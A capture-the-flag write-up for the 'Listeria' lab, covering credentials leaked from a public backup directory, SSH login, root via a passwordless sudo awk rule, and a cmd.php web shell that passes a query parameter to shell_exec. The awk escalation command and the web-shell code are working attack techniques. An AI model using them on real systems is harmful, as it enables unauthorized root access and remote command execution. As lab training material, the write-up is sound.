Listeria
✓ SOLVEDRatCTF — Web Enumeration → Credential Disclosure → SSH → Privilege Escalation (AWK)
Overview
The public web service exposed a backup directory containing plaintext SSH credentials. Those credentials provided the user foothold, and a passwordless AWK sudo rule provided root. A separate unauthenticated cmd.php command-execution endpoint was also confirmed after root.
Enumeration — Public Backup
HTTP was exposed on port 30160. The root path showed the default Apache page, while /backup/ allowed directory indexing and exposed credentials.txt.
GET /backup/credentials.txt
HTTP/1.1 200 OK
Content-Type: text/plainlabuser account.Foothold — SSH Access
SSH was exposed on port 30995. The leaked credentials authenticated successfully as labuser.
ssh -p 30995 labuser@173.230.128.67
ls
cat user.txtflag{[REDACTED]}Privilege Escalation — AWK
sudo -l showed passwordless root execution of /usr/bin/awk. AWK's system() function was used to launch Bash as root.
(root) NOPASSWD: /usr/bin/awksudo /usr/bin/awk 'BEGIN {system("/bin/bash")}'
whoami
cat /root/root.txtAdditional Finding — cmd.php RCE
After obtaining root, /var/www/html/cmd.php was found passing the cmd query parameter directly to shell_exec(). A request to /cmd.php?cmd=id executed as www-data.
if (isset($_GET['cmd'])) {
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}Outcome
Both principal flags were captured and are redacted in the public writeup. The optional Season 2 Vault fragment was investigated but not recovered.